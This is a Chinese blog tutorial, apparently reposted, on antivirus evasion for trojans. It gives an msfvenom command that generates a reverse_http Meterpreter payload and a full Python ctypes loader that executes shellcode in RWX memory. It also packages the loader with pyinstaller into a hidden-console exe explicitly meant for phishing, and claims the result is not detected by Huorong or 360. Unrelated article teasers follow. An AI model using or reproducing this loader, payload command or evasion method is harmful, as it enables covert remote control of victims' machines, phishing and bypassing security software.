木马免杀(篇二)shellcode 学习

木马免杀(篇二)shellcode 学习

——

shellcode介绍

shellcode 是一段利用软件漏洞进行执行的机器码, 通常用汇编语言编写并被翻译为十六进制操作码,因常被攻击者用于获取系统的命令终端shell 接口,所以被称为 shellcode。

说到获取系统的命令终端shell 接口,shell 是操作系统中提供给用户用于内核交互执行任意系统命令的应用程序。
Windows操作系统中的shell 包括 命令提示符cmd 和 powershell 应用程序。
Linux操作系统中的 bash shell。比如我在 cmd 中执行 ipconfig 系统命令查看网络适配器信息(多用于查看IP)。获取到了 shell 接口就可以执行后续的任意系统命令了。
在这里插入图片描述

——

获取shellcode

一段shellcode 都有他的功能,比如执行弹计算器的功能、反弹shell 等等。

常见shellcode是一串十六进制机器码,常以字符串形式存储在数组类型的变量中。本质是一段汇编指令,要学习 shellcode 是怎么生成,即实现这些功能的shellcode 需要怎么写,涉及到新的领域,要学习汇编,进行编译汇编源码,提取出shellcode等步骤,会比较困难。

所以目前使用 shellcode 大多通过工具生成或网上写好了的。

网上的公开 shellcode 资源:

https://www.exploit-db.com/

在这里插入图片描述
cobaltstrike 工具生成 shellcode
在这里插入图片描述
选择监听器,选择不同语言的shellcode
在这里插入图片描述

msf 工具生成 shellcode
通过命令选择监听器和IP、端口等信息。
生成命令:

msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.101 lport=4444 -f c

得到的文件长这样,里面是一串十六进制字符串
在这里插入图片描述
这里只是举了cs和msf 生成的一个shellcode例子,还有其他的多种方式或格式,比如msf还有自带的对shellcode编码的功能。

——

如何执行shellcode?

一串 shellcode 不能直接在操作系统执行,需要通过编程语言进行加载、调用才能执行。像常见的C、C#、Java、python 都能实现。
每种语言对 shellcode 进行加载的方式都大同小异,包括申请内存、将shellcode 写入内存等步骤。所以得到一个加载器的概念,通过加载器可以实现说到的写入内存等功能。

这里学习使用python语言编写加载器执行 shellcode

python 编写 shellcode 加载器

这里用 cs 直接生成的 c 语言编写的 shellcode的一个片段展示:

\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48

使用 python 编写加载器执行 c 语言的 shellcode

import ctypesbuf=b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode=buf
shellcode = bytearray(shellcode)kernel32 = ctypes.WinDLL('kernel32')
kernel32.VirtualAlloc.restype=ctypes.c_uint64
ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)
buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))
handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

加载器代码解读

将 shellcode 从一个字节串(bytes)对象转换为一个可变字节数组(bytearray)对象。

shellcode = bytearray(shellcode)

加载 kernel32.dll ,是 Windows 操作系统的核心动态链接库之一,包含了很多常用的系统函数。

kernel32 = ctypes.WinDLL('kernel32')

设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位

kernel32.VirtualAlloc.restype=ctypes.c_unit64

调用 kernel32.dll 动态链接库的 VirtualAlloc 函数申请内存

ptr=kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40),)

里面 4 个参数的含义:
ctypes.c_int(0) 指向要分配的区域的起始地址的指针,值为null时指向系统保留其认为合适的区域

ctypes.c_int(len(shellcode)) 分配区域的大小
ctypes.c_int(0x3000) 内存分配的类型
ctypes.c_int(0x40) 要分配的页区域的内存保护,可读可写可执行

调用 kernel32.dll 动态链接库的 RtlMoveMemory 函数将 shellcode 移动到申请的内存中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffer, ctypes.c_int(len(shellcode)))

三个参数含义:

ctypes.c_uint64(ptr) 指向要将字节复制到的目标内存块的指针
buffer 指向要从中复制字节的源内存块的指针
ctypes.c_int(len(shellcode)) 从源复制到目标的字节数

创建线程,从 shellcode 放置位置的首地址开扫执行 shellcode

handle = kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

等待线程运行完

kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

——

直接运行上面的 python 代码就可以上线 cs 。
不过如果进行钓鱼的话可以打包成 exe 文件,不需要 python 环境的依赖。
——

打包成exe

pyinstaller -F 1.py -w --name test.exe --clean

-F 参数用于将所有生成的文件(包括依赖的库和资源)打包到一个单独的可执行文件中,而不是生成一个文件夹。
-w 参数用于在打包后隐藏控制台窗口,使得生成的可执行文件在运行时不显示命令行窗口。
–name 指定生成的文件名
–clean:在打包前先清理之前的临时文件。
–upx:使用UPX来压缩可执行文件,减小文件大小。
–icon:指定打包后exe文件的图标。图标文件应该是.ico格式。
–distpath选项指定输出路径

在dist 目录下得到 test.exe 文件。双击运行即可
在这里插入图片描述

结果这样没有任何处理火绒和360都不杀
2023.7
vt结果:
在这里插入图片描述
微步结果:
在这里插入图片描述
————

总结

进行免杀的一个方式其实就是编写一个加载器,包括现在从github上找比较新的免杀项目也是加载器的项目。这里用的 python 加载器也是很多之前网上就能找到的,但是看到截至到2023.7免杀效果都还是可观的。一个原因是用python 去免杀的比较少,主流应该是 c 语言的,用的人多了,免杀效果自然就没那么好了。所以用比较少人用的语言编写加载器也是一种免杀途径,那些杀软的木马病毒库还没有收录那些特征。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/32302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

并发编程面试题2

并发编程面试题2 一、AQS高频问题: 1.1 AQS是什么? AQS就是一个抽象队列同步器,abstract queued sychronizer,本质就是一个抽象类。 AQS中有一个核心属性state,其次还有一个双向链表以及一个单项链表。 首先state…

openEuler加载本地yum源

挂载iso文件到mnt mount /data/download/openEuler-22.03-LTS-x86_64-dvd.iso /mnt/修改/etc/yum.repos.d/openEuler.repo [Local] namelocal baseurlfile:///mnt enabled1 gpgcheck1 gpgkeyfile:///etc/pki/rpm-gpg/RPM-GPG-KEY-openEuler3.更新yum源信息 yum clean all yu…

【Ubuntu】安装docker,docker compose 以及部署一个docker应用

大家好!在过去,已经分享了很多有关通过Docker部署应用的内容。今天,我将为大家详细介绍如何在Ubuntu系统上部署最新的Docker平台。 Docker是什么 Docker是一个开源的容器化平台,它允许您将应用程序及其所有依赖项打包到称为容器…

CH343 USB转串口芯片资料下载(合集)

1、产品手册 CH343DS1.PDF - 南京沁恒微电子股份有限公司CH343技术手册,USB转单串口芯片,支持最高6M波特率,串口信号支持1.8~5V,内置晶振。CH343使用系统集成的CDC驱动或厂商驱动。厂商驱动支持完整串口功能和更高波特率。https:…

网络防御(6)

密码学综合应用 定义: 密码学综合应用是指将密码学的理论和技术应用于各种场景中,以保障信息的安全性、完整性和可靠性。密码学的应用范围非常广泛,包括通信安全、网络安全、电子商务、数字签名、认证、密钥管理等。 密码学综合应用的实例…

基于STM32微控制器的物联网(IoT)节点设计与实现

基于STM32微控制器的物联网(IoT)节点的设计和实现。我们讨论物联网节点的基本概念和功能,并详细介绍了STM32微控制器的特点和优势。然后,我们将探讨如何使用STM32开发环境和相关的硬件模块来设计和实现一个完整的物联网节点。最后,我们将提供一个示例代码,展示如何在STM3…

【24择校指南】南京大学计算机考研考情分析

南京大学(A) 考研难度(☆☆☆☆☆) 内容:23考情概况(拟录取和复试分数人数统计)、院校概况、23初试科目、23复试详情、参考书目、各科目考情分析、各专业考情分析。 正文2178字,预计阅读:6分…

Mr. Cappuccino的第59杯咖啡——简单手写SpringIOC框架

简单手写SpringIOC框架 环境搭建基于XML方式项目结构项目代码运行结果 基于注解方式项目结构项目代码运行结果 简单手写SpringIOC框架核心原理基于XML方式原理项目结构项目代码运行结果 基于注解方式原理项目结构项目代码运行结果 环境搭建 基于XML方式 项目结构 项目代码 p…

JSP实训项目设计报告—MVC简易购物商城

JSP实训项目设计报告—MVC简易购物商城 文章目录 JSP实训项目设计报告—MVC简易购物商城设计目的设计要求设计思路系统要求单点登录模块商品展示模块购物车展示模块 概要设计Model层View层Controller层 详细设计Model层View层登录界面系统主界面 Controller层 系统运行效果项目…

机器学习玩耍

参考:Python基于机器学习实现的股票价格预测、股票预测源码数据集,机器学习大作业_python股票分析系统源码_云哲-吉吉2021的博客-CSDN博客

信号与槽的注意细节

信号与槽是qt的关键技术,它有一些规则需要注意,笔者在这里将其总结: 1、一个信号可以连接多个槽 connect(spinNum,SIGNAL(valueChanged(int)),this,SLOT(addFun(int))); connect(spinNum,SIGNAL(valueChanged(int)),this,SLOT(updateStatus…

探索APP界面布局的艺术与技巧:从入门到精通

引言 在当今数字化时代,移动应用程序(APP)成为人们生活中不可或缺的一部分。而一个成功的APP界面布局是吸引用户、提升用户体验的关键因素之一。本文将带您深入探索APP界面布局的艺术与技巧,从入门到精通,让您能够轻松…

单元测试和集成测试有什么区别

单元测试和集成测试有什么区别 单元测试和集成测试是软件开发中的两个重要测试阶段,它们的主要区别如下: 目的: 单元测试:主要针对代码的最小可测试单元,通常是一个函数或方法,确保它按照预期工作。集成…

kafka是有序的吗?如何保证有序?

首先,Kafka无法保证消息的全局有序性,这是因为Kafka的设计中允许多个生产者并行地向同一个主题写入消息。而且,一个主题可能会被划分为多个分区,每个分区都可以在独立的生产者和消费者之间进行并行处理。因此,生产者将…

winform窗体中有button点击button事件 窗体黑屏 await ControlInvoker.Invoke

当在 WinForms 窗体中点击按钮并触发按钮事件时,窗体变为黑屏通常意味着某些操作或事件处理可能导致了界面冻结或阻塞,导致界面无法更新。这可能与耗时的操作、死锁、线程问题或其他程序逻辑相关。以下是一些可能导致窗体黑屏的常见原因和解决方法&#…

每日一学——IP地址和子网掩码

IP地址和子网掩码是网络中非常重要的概念。IP地址是用于标识和寻址网络中设备(如计算机、手机等)的唯一标识符。而子网掩码则用于划分网络中的子网。 IP地址是一个由32位二进制数组成的地址,通常以点分十进制的形式表示,如192.16…

【MongoDB】数据库、集合、文档常用CRUD命令

目录 一、数据库操作 1、创建数据库操作 2、查看当前有哪些数据库 3、查看当前在使用哪个数据库 4、删除数据库 二、集合操作 1、查看有哪些集合 2、删除集合 3、创建集合 三、文档基本操作 1、插入数据 2、查询数据 3、删除数据 4、修改数据 四、文档分页查询 …

CSP复习每日一题(四)

树的重心 给定一颗树,树中包含 n n n 个结点(编号 1 ∼ n 1∼n 1∼n)和 n − 1 n−1 n−1条无向边。请你找到树的重心,并输出将重心删除后,剩余各个连通块中点数的最大值。 重心定义: 重心是指树中的一…

数字化车间

一、数字化车间概述 数字化车间是以现代化信息、网络、数据库、自动识别等技术为基础,通过智能化、数字化、MES系统信息化等手段融合建设的数字化生产车间,精细地管理生产资源、生产设备和生产过程。随着工业4.0概念的提出,未来的工业和制造…

试图将更改推送到 GitHub,但是远程仓库已经包含了您本地没有的工作(可能是其他人提交的修改)

这通常是由于其他人或其他仓库推送到了相同的分支上,导致您的本地仓库和远程仓库之间存在冲突。 错误信息: To github.com:8upersaiyan/CKmuduo.git ! [rejected] main -> main (fetch first) error: failed to push some refs to github.com:8upers…